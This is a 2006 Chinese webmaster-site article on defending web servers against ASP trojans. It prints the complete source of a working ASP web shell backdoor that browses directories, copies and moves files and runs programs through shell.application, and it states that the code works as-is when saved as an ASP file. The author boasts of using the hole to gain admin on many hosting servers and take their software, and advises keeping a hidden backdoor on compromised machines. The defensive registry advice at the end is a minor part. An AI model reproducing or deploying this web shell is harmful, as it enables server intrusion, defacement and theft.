中国站长下载-为中国站长提供最好最全的建站资源! 首 页发布资源有事留言繁體中文
设为首页
加入收藏
联系我们
 
您当前的位置:中国站长下载 -> 文章中心 -> 网页编程 -> ASP编程 -> 文章内容  虚拟主机 域名注册 退出登录 用户管理
栏目导航
· ASP编程 · .NET编程
· PHP编程 · JSP编程
· CGI 专区
热门文章
· sndvol32 - sndvol3...
· [组图] FLASH:《大话李白》...
· 个人网站到底能赚多...
· [图文] Rundll.exe是病毒吗...
· [组图] Flash:制作MV
· 价值12万元的网站SE...
· 网站创业者,你需要...
· 一个成功的网站设计...
· [图文] FLASH:韩国导航条解...
· 中国网站的赚钱模式...
相关文章
· [图文] 让IIS Web服务器不再...
· 用ASP.NET开发Web服...
· ASP.NET+XML Web服务...
· [组图] ASP.NET WEB服务和F...
· [图文] ASPX页Web服务调用性...
· ASP.NET创建Web服务...
· ASP.NET+Web服务实现...
· [图文] ASP.NET+Web服务实现...
· 用IE的Web服务建立A...
· [组图] 用IE的Web服务建立A...
Web服务器上防范基于ASP程序的木马(2)
作者:不详  来源:不详  发布时间:2006-8-13 0:33:37  发布人:chinazhan

 减小字体 增大字体

     接下来让我们再来看下一款ASP后门木马程序的代码:
  
  <%response.write "<font size=6 color=red>一次只能执行一个xx作</font>" %>
  <%response.write now()%><BR>程序所在的物理路径:
  <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
  <html>
  <title>asps shell.application backdoor </title>
  <body>
  <form action="<%= Request.ServerVariables("URL") %>" method="POST">
  <input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
  <input type=text name=text1 value="<%=szCMD1 %>">
  copy
  <input type=text name=text2 value="<%=szCMD2 %>"><br>
  <input type=text name=text3 value="<%=szCMD3 %>">
  move
  <input type=text name=text4 value="<%=szCMD4 %>"><br>
  路径:<input type=text name=text5 value="<%=szCMD5 %>">
  程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
  <input type=submit name=sb value=发送命令>
  </form>
  </body>
  </html>
  <%
  szCMD = Request.Form("text") 目录浏览
  if (szCMD <> "") then
   set shell=server.createobject("shell.application") 建立shell对象
   set fod1=shell.namespace(szcmd)
   set foditems=fod1.items
   for each co in foditems
    response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
   next
  end if
  %> <%
  szCMD1 = Request.Form("text1") 目录拷贝,不能进行文件拷贝
  szCMD2 = Request.Form("text2")
  if szcmd1<>"" and szcmd2<>"" then
   set shell1=server.createobject("shell.application") 建立shell对象
   set fod1=shell1.namespace(szcmd2)
   for i=len(szcmd1) to 1 step -1
    if mid(szcmd1,i,1)="" then
     path=left(szcmd1,i-1)
     exit for
    end if
   next
   if len(path)=2 then path=path & ""
    path2=right(szcmd1,len(szcmd1)-i)
    set fod2=shell1.namespace(path)
    set foditem=fod2.parsename(path2)
    fod1.copyhere foditem
    response.write "command completed success!"
   end if
  %> <%
  szCMD3 = Request.Form("text3") 目录移动
  szCMD4 = Request.Form("text4")
  if szcmd3<>"" and szcmd4<>"" then
   set shell2=server.createobject("shell.application") 建立shell对象
   set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
   if mid(szcmd3,i,1)="" then
    path=left(szcmd3,i-1)
    exit for
   end if
   next
   if len(path)=2 then path=path & ""
    path2=right(szcmd3,len(szcmd3)-i)
    set fod2=shell2.namespace(path)
    set foditem=fod2.parsename(path2)
    fod1.movehere foditem
    response.write "command completed success!"
   end if
  %>
  <%
  szCMD5 = Request.Form("text5") 执行程序要指定路径
  szCMD6 = Request.Form("text6")
  if szcmd5<>"" and szcmd6<>"" then
   set shell3=server.createobject("shell.application") 建立shell对象
   shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
   response.write "command completed success!"
  end if
  %>
  
    要查看目录,只要输入相应的目录,点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。
    最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。
  
    然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。
  
    言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:
  
  
  set shell=server.createobject("shell.application")
  
    跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)
  
    其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。
  
    注:以上代码复制保存为ASP文件就可以直接使用了。
  
    做人要厚道,请注明转自chinazhan中国站长(www.ChinaZhan.com)。

 
[] [返回上一页] [打 印] [收 藏]
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
中国站长下载
中国站长下载

本页只接受PR>=4 IT类站点连接,申请连接,谢谢您们的支持!希望我们的下载站能够真正帮到中国的站长们!
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图
Copyright © 2005-2006 ChinaZhan.Net. All Rights Reserved .